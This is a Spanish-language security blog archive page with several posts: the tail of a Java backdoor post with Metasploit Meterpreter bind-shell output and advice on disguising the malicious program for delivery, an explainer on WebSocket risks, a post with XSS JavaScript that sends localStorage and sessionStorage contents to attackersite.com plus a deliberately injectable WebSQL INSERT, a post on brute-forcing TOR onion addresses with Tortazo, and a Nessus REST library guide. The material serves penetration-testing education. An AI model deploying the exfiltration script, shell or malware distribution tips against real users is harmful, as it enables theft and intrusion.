TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING

TCP 192.168.1.38:139 0.0.0.0:0 LISTENING

……………….

Ahora desde Metasploit será posible obtener una consola Meterpreter.

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > set RHOST 192.168.1.38

RHOST => 192.168.1.38

msf exploit(handler) > exploit

[*] Started bind handler

[*] Starting the payload handler…

[*] Sending stage (769536 bytes) to 192.168.1.38

[*] Meterpreter session 1 opened (192.168.1.98:51028 -> 192.168.1.38:4444) at 2014-11-09 20:31:37 +0100

meterpreter >

Hasta este punto la prueba de concepto funciona correctamente, pero es necesario trabajar un poco más sobre el mecanismo de distribución del programa malicioso. En este caso, se puede crear un Applet, utilizar el protocolo JNLP (Java Network Launch Protocol) con JWS (Java Web Start) o convertir el programa escrito en Java en un ejecutable propiamente dicho para no depender de la máquina virtual de Java instalada en la víctima y para ello, se pueden utilizar herramientas como Jsmooth o Lauch4J.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Conociendo el funcionamiento de los WebSockets – Parte 3

noviembre 11, 2014 Deja un comentario

Históricamente las aplicaciones web se han basado en un modelo cliente-servidor, donde el cliente siempre es el primero en iniciar la comunicación con el servidor. Con la llegada de AJAX, las peticiones podían hacerse de forma asíncrona y el cliente no necesariamente tenia que esperar la respuesta del servidor para poder continuar trabajando con la aplicación web, sin embargo la comunicación tenia que ser iniciada por el cliente y si por algún motivo, el servidor tenia nueva información que debía transferirse al cliente, era el cliente el que tenia que realizar las peticiones contra el servidor para recuperar la nueva información. Evidentemente, el hecho de que el servidor pueda comunicarse con el cliente para informar sobre cualquier “novedad”, es una característica que siempre ha resultado muy útil y pensando en ello, se han diseñado varias alternativas que funcionan sobre el protocolo HTTP, como por ejemplo Comet, Push o con el uso de conexiones HTTP persistentes. Con estas alternativas, el servidor puede enviar datos al cliente sin que el cliente tenga que iniciar una interacción, son técnicas que se utilizan actualmente en muchos servicios en Internet y en su día, GMail también lo hacia, sin embargo, mantener una conexión HTTP durante un largo periodo de tiempo es costoso y no es una muy buena idea en aplicaciones que deben tener una baja latencia. Es aquí donde HTML5 viene “al rescate” con los websockets.

Los websockets son una alternativa muy óptima al problema descrito en líneas anteriores, ya que permite crear conexiones TCP utilizando sockets entre el cliente (navegador) y el servidor. Como con cualquier socket TCP, ambas partes pueden transferir datos en cualquier momento y de esta forma el servidor podrá enviar información al cliente cuando sea necesario.

Uso de websockets en HTML5

Para abrir una conexión entre cliente y servidor utilizando websockets, ahora se utilizan los esquemas “ws://” en lugar de “http://” y “wss://” en lugar de https://. Además, el modelo de programación que debe utilizarse es basado en eventos, dichos eventos alertarán al cliente cuando se realice una conexión con el servidor, cuando ocurra un error, o cuando se reciba un mensaje por parte del servidor. Para crear un websocket, se debe ingresar la dirección del servidor web con el esquema “ws://” o “wss://” y especificar alguno de los subprotocolos soportados en la especificación de websockets (ver: http://www.iana.org/assignments/websocket/websocket.xml).

Después de abrir una conexión con el servidor, el cliente puede enviar mensajes con la función “send” que se encuentra definida en la referencia a la conexión creada anteriormente. Los datos que se pueden enviar pueden ser cadenas de texto o datos binarios representados con los objetos Blob o ArrayBuffer. Un ejemplo del uso de websockets desde el lado del cliente podría ser el siguiente.

var connection = new WebSocket('ws://html5rocks.websocket.org/echo', ['soap', 'xmpp']);
connection.onopen = function () {
  connection.send('Hello Server!'); // Send the message 'Ping' to the server
};

connection.onerror = function (error) {
  console.log('WebSocket Error ' + error);
};

connection.onmessage = function (e) {
  console.log('From Server: ' + e.data);
};

connection.send('Hello cutty server!');

var img = canvas_context.getImageData(0, 0, 200, 200);
var binary = new Uint8Array(img.data.length);
for (var i = 0; i < img.data.length; i++) {
  binary[i] = img.data[i];
}
connection.send(binary.buffer);

var file = document.querySelector('input[type="file"]').files[0];
connection.send(file);

En el ejemplo anterior se ha creado una conexión con el servidor utilizando la clase WebSocket, la cual se encuentra disponible en la mayoría de navegadores modernos. La instancia creada de dicho objeto es utilizada para declarar una serie de funciones de callback que serán invocadas cuando se produzcan diferentes tipos de eventos posibles.

Por otro lado, aunque se trata de una tecnología muy interesante y que se comienza a utilizar con mayor frecuencia en aplicaciones web, no obstante la principal dificultad a la hora de utilizar websockets, es la imposibilidad de establecer conexiones utilizando servidores proxy por medio y dado que en la mayoría de entornos empresariales, el uso de servidores proxy es bastante común, nos encontramos con una limitación que hay que tener en cuenta cuando se habla de utilizar WebSockets en aplicaciones web. La razón de esto, es que los WebSockets utilizan el valor “upgrade” para la cabecera “Connection” o directamente la cabecera “Upgrade” con el el valor “WebSocket” y dicho valor indica que la conexión que inicialmente se ha establecido utilizando HTTP, debe “actualizarse” para utilizar sockets del tipo TCP. Este tipo de cambios en las conexiones no son soportados por los servidores proxy del tipo HTTP, ya que están diseñados para trabajar con paquetes de datos que utilizan el protocolo HTTP, en este caso, la conexión es automáticamente cortada por el servidor. Para “mitigar” este problema existen varias soluciones, como por ejemplo el uso del proyecto Apache Camel (http://camel.apache.org) o mi favorita, el uso de “mod_proxy_wstunnel” (ver: http://httpd.apache.org/docs/2.4/mod/mod_proxy_wstunnel.html) sobre esta extensión de Apache os hablaré en una próxima entrada.

Hasta este punto se ha hablado del lado del cliente, sin embargo en el lado del servidor se requiere un cambio de enfoque muy importante, ya que ahora hablamos de que el servidor debe soportar múltiples conexiones abiertas al mismo tiempo, con el consecuente consumo de recursos que aquello implica, por éste y otros motivos, la mayoría de servidores web modernos soportan modelos “Non-bloquing IO” o lo que es lo mismo, varios grupos de hilos que se ejecutan de forma concurrente y asíncrona para el procesamiento de respuestas. Se trata de un modelo de arquitectura de software ampliamente aceptado y utilizado hoy en día, tanto en servidores como en sistemas operativos. Alguno de los servidores web que soportan estas características (sin ser una lista exhaustiva y basándome únicamente en los que he probado) se mencionan a continuación.

Apache Web Server 2.2 / 2.4 (http://httpd.apache.org/)

Jetty (http://www.eclipse.org/jetty/)

Apache Tomcat (http://tomcat.apache.org/)

JBoss (http://www.jboss.org/)

Socket.IO (http://socket.io/)

Pywebsocket para Apache web Server. (http://code.google.com/p/pywebsocket/)

Tornado (https://github.com/tornadoweb/tornado)

Vulnerabilidades comunes en el uso de websockets

Ahora que está claro qué son y para qué sirven los websockets, es el momento de hablar sobre las vulnerabilidades que se pueden producir cuando se implementan de forma indebida o con pocos controles sobre los datos intercambiados entre cliente y servidor. Estamos hablando de una tecnología joven, que si bien tiene un potencial enorme a la hora de crear aplicaciones web robustas, esto no es gratis y tiene sus riesgos. Algunos de dichos riesgos se explican a continuación.

Transporte no securizado y vulnerable a ataques MITM.

Como se ha mencionado anteriormente, los websockets funcionan utilizando el protocolo TCP, lo que habilita muchas posibilidades a la hora de realizar conexiones contra multitud de servicios, sin embargo si el canal de comunicación no se encuentra debidamente securizado, un ataque del tipo MITM puede comprometer todos los mensajes enviados entre cliente y servidor. Siempre es una buena practica utilizar el contexto “wss://” para establecer conexiones cifradas con TLS.

Los websockets no soportan autenticación ni autorización.

El protocolo de websockets no soporta los mecanismos tradicionales de autenticación y autorización. Es un asunto relacionado con la implementación propiamente dicha del protocolo y en el caso de que el cliente y el servidor intercambien información sensible, además de securizar el canal de comunicación utilizando TLS, también es recomendable utilizar mecanismos de autenticación basados en tokens/tickets. Dichos mecanismos son bastante populares en implementaciones REST, donde algunos servicios solamente pueden ser consumidos si el cliente cuenta con un token de autenticación valido y dicho token se vincula con el servidor por medio de una cuenta de usuario. Dicho patrón de autenticación se ha vuelto cada vez más popular y en aplicaciones que utilizan websockets que requieren mecanismos de control sobre los usuarios autenticados, es una excelente forma de mantener un control de acceso a recursos sensibles.

Validación en los datos de entrada

Aunque los websockets utilicen TCP para realizar las conexiones entre clientes y servidores, aun nos encontramos en el contexto de una aplicación web y es importante validar los datos de entrada de los usuarios. En el caso de no validar los campos de entrada adecuadamente, se pueden producir vulnerabilidades del tipo XSS aunque para la comunicación se ha un protocolo distinto a HTTP.

Vulnerabilidades Cross Site Request Foregy

Tal como se comentaba en un articulo anterior, las políticas de “same origin policy” que aplican cuando se trata de compartir recursos entre distintos dominios, ahora ya no son tan estrictas cuando se utiliza la cabecera HTTP “Origin”. Tal como se mencionaba en dicho articulo, se trata de una característica que está muy bien cuando se trata de compartir recursos con dominios “fiables” y cuando hablamos de relaciones de confianza en el mundo de la seguridad de la información, siempre pueden haber situaciones que le permiten a un atacante abusar de dichas condiciones.

Los websockets no están limitados a las restricciones de SOP, esto significa que un atacante puede iniciar una petición websocket desde su sitio web malicioso contra un endpoint (ws:// o wss://) de una aplicación web aunque no se encuentre en el mismo dominio. Esto tiene unas implicaciones tremendas, ya que el handshake que ejecutará el cliente para iniciar una petición WebSocket es una petición HTTP regular y los navegadores enviarán las cookies y cabeceras HTTP de autenticación aunque se trate de un dominio cruzado, si y sólo si, el servidor web no valida adecuadamente la cabecera “Origin”.
Para que el lector se haga una idea del problema, supongamos que la víctima ha iniciado sesión en un sitio web que tiene uno o varios endpoints “ws” o “wss” y en una pestaña nueva del navegador, ingresa en una página web maliciosa controlada por el atacante. Dicha página podría realizar una petición WebSocket contra el sitio web en el que el usuario se encuentra identificado y si dicho sitio web, no valida adecuadamente el valor de la cabecera “Origin”, la respuesta a la petición del atacante podrá contener, entre otras, las cookies y cabeceras de autenticación utilizadas por el usuario, sin importar que se trate de un dominio cruzado. Esta situación puede dar lugar a una vulnerabilidad del tipo CSRF.

En un próximo articulo, hablaré un poco más sobre cómo explotar algunas de las vulnerabilidades que se han listado aquí.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

Intentando descubrir hidden services en TOR

octubre 22, 2014 Deja un comentario

En el articulo “ataca un servicio oculto en la red de TOR, si te atreves” he explicado el funcionamiento del protocolo rendesvouz de TOR y las dificultades existentes a la hora de descubrir cualquier tipo de servicio anónimo en TOR. Actualmente, una de las formas más eficientes de atacar la red consiste en intentar controlar la mayor cantidad de repetidores de entrada y salida para posteriormente ejecutar ataques basados en el análisis de las peticiones y los tiempos de las mismas, sin embargo para ello se requieren varios repetidores de TOR controlados y profesionales que sepan aplicar las técnicas de ataque adecuadas, cosas que no suelen estar al alcance de cualquiera. Por otro lado, una de las características intrínsecas de la deep web de TOR, es que no es fácil encontrar cualquier servicio y menos aun si no conoces su dirección onion. Muchas veces, los usuarios de estas redes se dedican a curiosear y a recopilar direcciones que van encontrando en foros, sitios en Internet o en algunos de los buscadores más populares en la web profunda, sin embargo ¿qué pasa con aquellos servicios que son realmente ocultos? Es decir, aquellos servicios cuyas direcciones onion solamente las conocen un grupo muy pequeño de personas y no se encuentran registradas en foros o buscadores. ¿Quiénes suelen crear y usar ese tipo de servicios? Si lo piensas detenidamente, encontrar dichas direcciones es prácticamente imposible, ya que como se ha explicado en el artículo anterior, no es como buscar una aguja en pajar, es más bien como buscar una aguja entre varios billones de agujas aparentemente iguales y sin ningún patrón o perfil que las distinga.

Por otro lado, cuando intentas desarrollar un Framework de auditoria en la deep web de TOR, contar con un repositorio de direcciones onion para poder ejecutar ataques automatizados contra dichos servicios es muy importante y además de contar con un listado de direcciones conocidas (recolectadas de foros, sitios en Internet y buscadores), también es útil contar con mecanismos para intentar descubrir servicios ocultos. Sin embargo aquí, volvemos a lo que ya se ha explicado anteriormente: Manejar el volumen de datos que puede producir el espacio de posibles direcciones onion es simplemente inviable con la capacidad de procesamiento que tienen los ordenadores modernos.

No obstante, a pesar de las dificultades, un atacante puede intentar generar muchas direcciones onion de forma aleatoria o incremental y determinar si en alguna de ellas hay un servicio en ejecución. En este sentido, en Tortazo he implementado algunos mecanismos para generar y procesar direcciones onion, con el fin de intentar descubrir servicios ocultos en la web profunda de TOR.

Estos mecanismos y la estructura que he montado, se explica a continuación.

Modo “Onion Repository” en Tortazo

Es posible generar direcciones Onion validas y posteriormente intentar realizar diferentes tipos de peticiones a dicha dirección, si la conexión es correcta, se asume que hemos encontrado un servicio valido. Ahora bien, pueden haber dos formas de abordar el problema considerando las limitaciones de procesamiento explicadas anteriormente, por un lado puedes intentar generar todas las permutaciones posibles partiendo de una dirección onion parcial con lo cual, entre más conocimiento se tenga sobre la dirección onion (número de caracteres conocidos), mayores serán las probabilidades de encontrar rápidamente el servicio en la web profunda de TOR. Por otro lado, si no tienes información sobre una dirección onion concreta y simplemente quieres consultar cualquier dirección onion sin ningún patrón determinado, Tortazo permitirá generar direcciones onion de forma aleatoria y realizar una conexión para ver si existe algún servicio oculto en ejecución en dicha dirección.

Se trata de dos aproximaciones completamente distintas que pueden ayudar a descubrir servicios ocultos, pero en ambos casos, lo más importante es que la generación y procesamiento de cada dirección onion se haga lo más rápidamente posible, esto con el fin de probar la mayor cantidad de direcciones onion en una franja de tiempo determinada.

En primer lugar, contar con un único proceso para la generación de direcciones y posterior procesamiento (petición contra el servicio) puede ser algo bastante lento, por este motivo, en Tortazo se cuenta con dos colas compartidas, una para las direcciones onion generadas y otra para aquellas direcciones sobre las cuales se ha detectado un servicio oculto en ejecución. Evidentemente, existen dos grupos de procesos, uno de ellos se encarga de la generación de direcciones onion que se insertarán en la cola de direcciones generadas y otro para procesar cada una de dichas direcciones onion y determinar si hay un servicio oculto en ejecución; y si ese es el caso, dicha dirección se insertará en la cola compartida de direcciones con servicios en ejecución.

Puede que suene un poco complejo, a lo mejor con la siguiente imagen queda un poco más claro.

OnionRepository

Para ejecutar Tortazo en modo “repositorio” es necesario especificar la opción “-R” y además, es posible indicar otros detalles como el número de procesos que debe crear la herramienta para el procesamiento y generación de direcciones onion (-W), una dirección onion parcial para generar las direcciones onion de forma incremental (-O <partialAddress>) o generar direcciones onion de forma aleatoria (-O RANDOM).

Algunos ejemplos se pueden ver a continuación:

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones HTTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.


python Tortazo.py –R http –O RANDOM –W 5 –v 

 

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.

python Tortazo.py –R ftp –O RANDOM –W 10 –v

 

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ftp –O sad53kig53r2gh –W 10 –v

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones SSH contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ssh –O sad53kig53r2gh –W 10 –v

 

Por otro lado, las direcciones onion sobre las que se ha detectado un servicio oculto en ejecución, se almacenan directamente en base de datos para que puedan ser usadas en alguno de los plugins disponibles en Tortazo. Además, en el proyecto también se incluye un fichero con un listado casi 400 direcciones onion que pueden cargarse (opcionalmente) en la base de datos cuando se arranca el modo “respository” de Tortazo.

Y así funciona el modo repositorio en Tortazo. Actualmente estoy desarrollando varias ideas para ampliar/mejorar el mecanismo de descubrimiento de direcciones onion, sin embargo, será algo que implementaré para la versión 1.2 y cuando sea el momento os hablaré de ello. De momento encontrarás información más detallada en la documentación oficial: http://tortazo.readthedocs.org/en/latest/
Por último, si tienes alguna idea o sugerencia para mejorar, me encantaria que te pusieras en contacto conmigo (debiadastra [at] gmail.com).
Un saludo y Happy Hack!

Servicios REST en Nessus y pynessus-rest

octubre 14, 2014 Deja un comentario

Nessus es un escáner de vulnerabilidades que ha ganado su prestigio gracias a sus capacidades a la hora de detectar y reportar fallos de todo tipo. Es una herramienta que se encuentra a la altura de otras herramientas tan potentes y utilizadas como OpenVAS, NeXpose o Metasploit Framework. Nessus permite crear y lanzar diferentes tipos de escaneos contra múltiples objetivos, crear políticas ajustadas a diferentes tipos de auditorías que pueden ser lanzadas por el pentester y generar reportes muy completos sobre las vulnerabilidades encontradas. Su uso es muy intuitivo y aunque muchos pentesters suelen utilizarlo “in-situ” por medio de la consola administrativa de Nessus, también es posible utilizarlo de forma programática por medio de la API Rest disponible para ello. No son muchos los pentesters que suelen utilizar esta potente característica de Nessus, ya que normalmente estos servicios serán consumidos por herramientas de auditoría desarrolladas por terceros que quieran aprovechar los beneficios de Nessus o automatizar sus rutinas, como es el caso del plugin de “nessus” incluido en Tortazo.
Hace varios meses, tenia la necesidad de utilizar Nessus desde mis scripts escritos en Python, pero desafortunadamente no encontré ninguna librería que utilizará la especificación de servicios REST incluida a partir de la versión 5 de Nessus, solamente encontraba librerías que utilizaban la especificación antigua, la cual se basaba en XML-RPC. Una de las primeras que me encontré fue pynessus (http://code.google.com/p/pynessus/) la cual no solamente no utiliza la última especificación, sino que además no se encuentra soportada por nadie y tiene varias funciones con errores de compilación. Cualquier desarrollador la descartaría a la primera. Otras más como nessusxmlrpc (http://code.google.com/p/nessusxmlrpc/) o python-nessus (https://github.com/greencm/python-nessus) son más de lo mismo.
Cansado de perder tiempo buscando y encontrando solamente escombros de código, decidí crear una librería en Python para consumir los servicios REST de Nessus desde cualquier herramienta escrita en Python y es así como he terminado escribiendo pynessus-rest (https://github.com/Adastra-thw/pynessus-rest).
Se trata de una librería muy simple que consume todos los servicios REST definidos en la especificación de Nessus(http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y permite convertir los formatos de las respuestas (típicamente JSON) en una estructura de objetos en Python para su posterior uso.
Para instalar pynessus-rest, basta con ejecutar el script “setup.py” con el argumento “install”.

	python setup.py install

Después de instalar la librería, es posible utilizarla desde cualquier script en Python simplemente importando las clases y/o funciones necesarias. En este caso, la clase más importante para interactuar con una instancia de Nessus es la clase “NessusClient”, la cual cuenta con varios métodos para gestionar usuarios, políticas, reportes, escaneos planificados, etc.

Autenticación con el servidor de Nessus.

Lo primero es autenticarse para poder interactuar con los demás servicios y para ello, se debe invocar al servicio REST “login” el cual recibe como argumentos, el nombre de usuario y contraseña. Si el proceso de autenticación es correcto, el servicio devolverá un token identificativo del usuario, el cual debe ser utilizado por el cliente para futuras invocaciones a otros servicios que requieran permisos de acceso. La clase “NessusClient” tiene la función “login”, la cual se encarga de todos estos detalles a la hora de interactuar con el servicio REST “login” de Nessus e internamente, guarda el token devuelto por el servicio en el caso de una autenticación exitosa. Esto quiere decir, que la propia instancia de “NessusClient” guarda el token de autenticación internamente para que cualquier otra petición posterior lo pueda usar. El desarrollador se despreocupa de tener que guardar él mismo dicho token entre diferentes peticiones a otros servicios REST.
Para crear una instancia de la clase “NessusClient” se deben enviar al constructor el host y el puerto donde se encuentra en ejecución el servidor de Nessus y la función “login” recibe como argumentos las credenciales de acceso para iniciar sesión y obtener un token valido.

	from pynessus.rest.client.NessusClient import NessusClient
	client = NessusClient('127.0.0.1','8834')
	client.login('adastra','adastra')

En el caso de que el proceso de login se ejecute correctamente con las credenciales ingresadas por el usuario, es posible utilizar todos los servicios expuestos en Nessus por medio de la instancia de “NessusClient” creada anteriormente.

 

Gestión de Políticas

Para iniciar un escaneo utilizando Nessus, es obligatorio crear una política que será aplicada a dicho escaneo. Las políticas definen los objetivos e indican el tipo de auditoría que se debe aplicar e internamente, define los plugins que se lanzarán contra los objetivos definidos. Hay una serie de plantillas de políticas que vienen pre-configuradas en Nessus, el usuario normalmente debe seleccionar una de dichas plantillas y rellenar los campos necesarios para configurar la política. Con Pynessus-rest, es posible utilizar todos los servicios REST definidos en la especificación de Nessus para la creación y gestión de políticas. El uso de algunas de dichas funciones se incluye a continuación:

	client.policyPreferencesList()
	client.policyList()
	client.policyCopy(1)
	client.policyDelete(1)
	client.policyFilePolicyImport("policy.nessus")

 

Gestión de Escaneos

Los escaneos son la principal característica funcional de Nessus, sin los cuales evidentemente la herramienta carecería de sentido. Los escaneos creados en Nessus pueden ser planificados y además pueden pausarse, reanudarse o detenerse manualmente. Estas características también se pueden controlar programáticamente desde pynessus-rest utilizando los servicios REST de Nessus disponibles para ello.

	client.scanNew("192.168.1.33",'1','EscaneoConPolitica1')
	client.scanStop('ec665c9e-ce24-336b-acb4-e2b199fac1800854abce5c111a8d')
	client.scanTemplateNew('1','127.0.0.1', 'Plantilla')
	client.scanTemplateLaunch('NewTemplate')

 

Gestión de Reportes

Todos los escaneos lanzados desde Nessus van generando reportes de forma periódica, dependiendo del progreso del escaneo, dichos reportes pueden ser más o menos completos.

	client.reportList()
	client.reportHosts("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb")
	client.reportTags("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb", '127.0.0.1', jsonFormat=True)

 

Convertir respuestas JSON a objetos en Python.

Todas las respuestas devueltas por los servicios REST de Nessus pueden estar en formato XML o JSON, siendo el formato JSON el valor por defecto y de uso más común cuando hablamos de servicios REST. Dado que las estructuras de datos que devuelven algunos servicios REST de Nessus son bastante complejas, la clase “NessusConverter” se encarga de convertir dichas respuestas en objetos Python que puedan ser manejados mucho más fácilmente por el desarrollador.

 nessusConverter = NessusConverter(self.nessusClient.usersList())
 nessusConverter.userToStructure()
 for nessusUser in nessusConverter.nessusStructure.nessusUsers:
     print nessusUser.name,nessusUser.admin,nessusUser.idx,nessusUser.lastLogin

 
 nessusConverter = NessusConverter(self.nessusClient.pluginsList())
 nessusConverter.pluginsListToStructure()
 for nessusPlugin in nessusConverter.nessusStructure.pluginsList:
     print nessusPlugin.familyMembers, nessusPlugin.familyName

 nessusConverter = NessusConverter(self.nessusClient.pluginsMd5())
 nessusConverter.md5StructureToStructure()
 for md5 in nessusConverter.nessusStructure.md5Structure:
     print  md5.fileName, md5.md5

En esta entrada solamente he incluido una breve descripción de la librería con algunas de sus funcionalidades, un uso mucho más exhaustivo lo podrás encontrar en el módulo “nessus” de Tortazo, el cual explota completamente todas las funciones disponibles en pynessus-rest y los servicios REST definidos en la última versión de Nessus. Además te invito a que pruebes esta librería con cualquier instancia de Nessus a la que tengas acceso.

Saludos y Happy Hack!

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.126 seguidores

A %d blogueros les gusta esto: